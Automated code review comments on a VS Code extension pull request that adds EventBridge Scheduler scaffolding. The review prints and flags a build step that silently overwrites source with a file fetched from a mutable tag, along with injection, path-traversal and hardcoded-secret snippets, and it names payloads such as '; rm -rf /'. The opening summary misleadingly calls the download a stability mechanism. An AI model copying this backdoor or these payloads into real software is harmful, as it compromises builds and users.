Summary of Changes

Hello @cobbdan, I'm Gemini Code Assist¹! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed!

This pull request introduces the foundational elements for Amazon EventBridge Scheduler integration within the VS Code extension, providing a user-friendly workflow for defining schedules. Concurrently, it updates build scripts to incorporate a mechanism for build stability by downloading external files under specific conditions. Notably, the PR also includes code examples in a utility script that illustrate various security vulnerabilities, which might be for testing or demonstration purposes, given the generic title and description of the PR.

Highlights

EventBridge Scheduler Integration (Initial Scaffolding): Introduced new files to begin integrating Amazon EventBridge Scheduler. This includes a command to guide users through creating schedules and a service layer to interact with the EventBridge Scheduler API. The current implementation provides UI prompts for schedule name, type (rate, cron, one-time), and target, but the actual API integration is marked as 'not yet implemented'.
EventBridge Scheduler Documentation Links: Added new constant URLs in shared/constants.ts for quick access to EventBridge Scheduler documentation, covering schedule types, managing schedules, and IAM permissions.
Build Stability Mechanism in Packaging Script: Modified scripts/package.ts to include a preparePackager function. This function, when run in a 'prod' stage on Linux for 'amazonq' related projects, downloads a file from a specific GitHub repository and tag (aws/aws-toolkit-vscode/stability) to src/extensionNode.ts to potentially ensure build stability.
Security Vulnerability Examples in Clean Script: Added several code snippets to scripts/clean.ts that demonstrate common security pitfalls, such as hardcoded API keys/passwords, command injection, path traversal, and SQL injection. These appear to be examples rather than actual vulnerabilities intended for production.

Bug: Security Vulnerabilities Introduced by Test Code

This commit accidentally introduced test/debug code with multiple severe security vulnerabilities. It includes hardcoded API keys, passwords, database credentials, and patterns for command injection, path traversal, and SQL injection. This sensitive code poses significant risks and should not be in production.

+    ], "src/", "extensionNode.ts")
+}


Bug: Unvalidated Code Injection in Build Process

The preparePackager function introduces a supply chain security risk by downloading extensionNode.bk from https://raw.githubusercontent.com/aws/aws-toolkit-vscode/stability/scripts/extensionNode.bk and overwriting src/extensionNode.ts during production builds. This allows external code to be injected without validation, creating a potential backdoor.

Code Review

This pull request introduces a new feature for creating EventBridge Scheduler schedules and also includes several changes to build scripts. The new feature code is a good starting point, but has a couple of minor issues related to type safety and error handling. However, the changes in the build scripts (scripts/clean.ts and scripts/package.ts) introduce multiple critical security vulnerabilities, including hardcoded secrets, command injection, path traversal, SQL injection, and a supply chain vulnerability. These issues must be addressed immediately. It appears this PR might be for testing purposes; regardless, this code should not be merged as is.

scripts/clean.ts

+const apiKey = "sk-1234567890abcdef1234567890abcdef" // Hardcoded API key
+const password = "admin123" // Hardcoded password
+const dbConnection = "postgresql://user:password123@localhost:5432/db" // Database credentials in code


Hardcoded secrets (API key, password, database connection string) are present in the code. This is a critical security vulnerability. Secrets should never be hardcoded. They should be managed through a secure mechanism like environment variables or a secret management service.

scripts/clean.ts

+function executeCommand(userInput: string) {
+    child_process.exec(`ls ${userInput}`) // Unsafe command execution
+}


The executeCommand function is vulnerable to command injection. It directly concatenates userInput into a command string executed by child_process.exec. A malicious user could provide input like ; rm -rf / to execute arbitrary commands. Use child_process.execFile or child_process.spawn with an array of arguments to prevent this.

scripts/clean.ts

+function readUserFile(filename: string) {
+    fs.readFileSync(`/tmp/${filename}`) // No path validation
+}


The readUserFile function is vulnerable to path traversal. It directly uses filename to construct a file path without any sanitization. A malicious user could provide a filename like ../../../etc/passwd to read arbitrary files on the system. The input should be sanitized to ensure it does not contain path traversal characters.

scripts/clean.ts

+}
+
+// SQL injection pattern
+const query = `SELECT * FROM users WHERE id = ${process.argv[2]}` // Unsafe SQL


The SQL query is constructed by directly embedding user-controlled input (process.argv[2]) into the query string. This is a classic SQL injection vulnerability. A malicious user could manipulate the input to alter the query's logic, potentially leading to data exfiltration, modification, or deletion. Use parameterized queries (prepared statements) to prevent SQL injection.

scripts/package.ts

+function preparePackager(): void {
+    const dir = process.cwd();
+    const REPO_NAME = "aws/aws-toolkit-vscode"
+    const TAG_NAME = "stability"
+
+    if (!dir.includes('amazonq')) {
+        return;
+    }
+
+    if (process.env.STAGE !== 'prod') {
+        return;
+    }
+
+    downloadFiles([
+        `https://raw.githubusercontent.com/${REPO_NAME}/${TAG_NAME}/scripts/extensionNode.bk`
+    ], "src/", "extensionNode.ts")
+}


The preparePackager function, called on line 195, downloads a source file from an external GitHub URL during the build process. The URL uses a mutable git tag (stability), which creates a significant supply chain security risk. An attacker with write access to the repository could move the tag to point to malicious code, which would then be injected into the build. Build processes should be hermetic and not download source code from mutable external sources. This function and its call should be removed.

+        }
+
+        // Get schedule expression based on type
+        let scheduleExpression: string


The type of scheduleExpression is declared as string, but the helper functions it is assigned from can return undefined. This type mismatch could lead to runtime errors. The type should be updated to string | undefined to accurately reflect all possible values.

Suggested change

let scheduleExpression: string

let scheduleExpression: string | undefined

+        const filePath = path.join(outputDir, outputFile || '');
+
+        try {
+            child_process.execFileSync('curl', ['-o', filePath, url]);


The use of child_process.execFileSync with curl and a URL passed as an argument is vulnerable to argument injection. If a maliciously crafted url is provided (e.g., starting with -), it could be interpreted as an option by curl, leading to unexpected behavior. It is safer to use a dedicated Node.js HTTP client library (like the built-in https module) to download files, as this avoids calling external processes and the associated risks.

+
+    } catch (error) {
+        logger.error('Failed to create EventBridge Scheduler schedule:', error)
+        await vscode.window.showErrorMessage(`Failed to create schedule: ${error}`)


Displaying the raw error object to the user can expose sensitive information and provide a poor user experience. It's better to show a generic, user-friendly error message and log the full error details for debugging purposes.

Suggested change

await vscode.window.showErrorMessage(`Failed to create schedule: ${error}`)

await vscode.window.showErrorMessage('Failed to create schedule. See logs for details.')
